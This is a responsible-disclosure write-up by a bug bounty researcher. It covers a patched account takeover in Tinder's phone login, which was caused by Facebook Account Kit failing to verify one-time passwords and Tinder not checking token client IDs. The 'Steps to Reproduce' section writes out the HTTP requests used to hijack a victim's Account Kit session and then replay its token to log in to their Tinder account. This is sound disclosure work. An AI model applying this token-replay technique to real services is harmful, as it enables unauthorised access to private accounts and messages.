This is being published with the permission of Facebook under the responsible disclosure policy.
The vulnerabilities mentioned in this blog post were plugged in quickly by the engineering teams of Facebook and Tinder.
This post is about an account takeover vulnerability I discovered in Tinder’s application. By exploiting this, an attacker could have accessed the victim’s Tinder account if they used their phone number to log in.
This could have been exploited through a vulnerability in Facebook’s Account Kit, which Facebook has recently addressed.
About Tinder
Tinder is a location-based mobile app for searching and meeting new people. It allows users to like or dislike other users and then proceed to a chat if both parties swiped right.
Vulnerability Description
Both Tinder’s web and mobile applications allow users to use their mobile phone numbers to log in to the service, and this login service is provided by Account Kit (Facebook).
Login Service Powered by Facebook’s Accountkit on Tinder
The user clicks on Login with Phone Number on tinder.com, and then is redirected to Accountkit.com for login. If the authentication is successful, Account Kit passes the access token to Tinder for login.
Interestingly, the Tinder API was not checking the client ID on the token provided by Account Kit.
This enabled the attacker to use any other app’s access token provided by Account Kit to take over the real Tinder accounts of other users.
About Account Kit
Account Kit is a product of Facebook that lets people quickly register for and log in to some registered apps by using just their phone numbers or email addresses without needing a password. It is reliable, easy to use, and gives the user a choice about how they want to sign up for apps.
About the Vulnerability
There was a vulnerability in Account Kit through which an attacker could have gained access to any user’s Account Kit account just by using their phone number. Once in, the attacker could have gotten ahold of the user’s Account Kit access token present in their cookies (aks).
After that, the attacker could use the access token (aks) to log in to the user’s Tinder account using a vulnerable API.
Steps to Reproduce
Step #1
First, the attacker would log into the victim’s Account Kit account by entering the victim’s phone number in “new_phone_number” in the API request shown below.
Please note that Account Kit was not verifying the mapping of the phone numbers with their one-time password. The attacker could enter anyone’s phone number and log into the victim’s Account Kit account.
Then the attacker could copy the victim’s “aks” access token of the Account Kit app from cookies.
The vulnerable Account Kit API:
POST /update/async/phone/confirm/?dpr=2 HTTP/1.1
Host: www.accountkit.com
new_phone_number=[vctim’s phone number]&update_request_code=c1fb2e919bb33a076a7c6fe4a9fbfa97[attacker’s request code]&confirmation_code=258822[attacker’s code]&__user=0&__a=1&__dyn=&__req=6&__be=-1&__pc=PHASED%3ADEFAULT&__rev=3496767&fb_dtsg=&jazoest=
Step #2
Now, the attacker replays the following request using the copied access token “aks” of the victim into the Tinder API below.
They will be logged into the victim’s Tinder account. The attacker would then basically have full control over the victim’s account. They could read private chats, full personal information and swipe other users’ profiles left or right, among other things.
Vulnerable Tinder API:
POST /v2/auth/login/accountkit?locale=en HTTP/1.1
Host: api.gotinder.com
Connection: close
Content-Length: 185
Origin: https://tinder.com
app-version: 1000000
platform: web
User-Agent: Mozilla/5.0 (Macintosh)
content-type: application/json
Accept: */*
Referer: https://tinder.com/
Accept-Encoding: gzip, deflate
Accept-Language: en-US,en;q=0.9
{“token”:”xxx”,”id”:””}
Timeline
Both the vulnerabilities were fixed by Tinder and Facebook quickly. Facebook rewarded me with USD $5,000, and Tinder awarded me $1,250.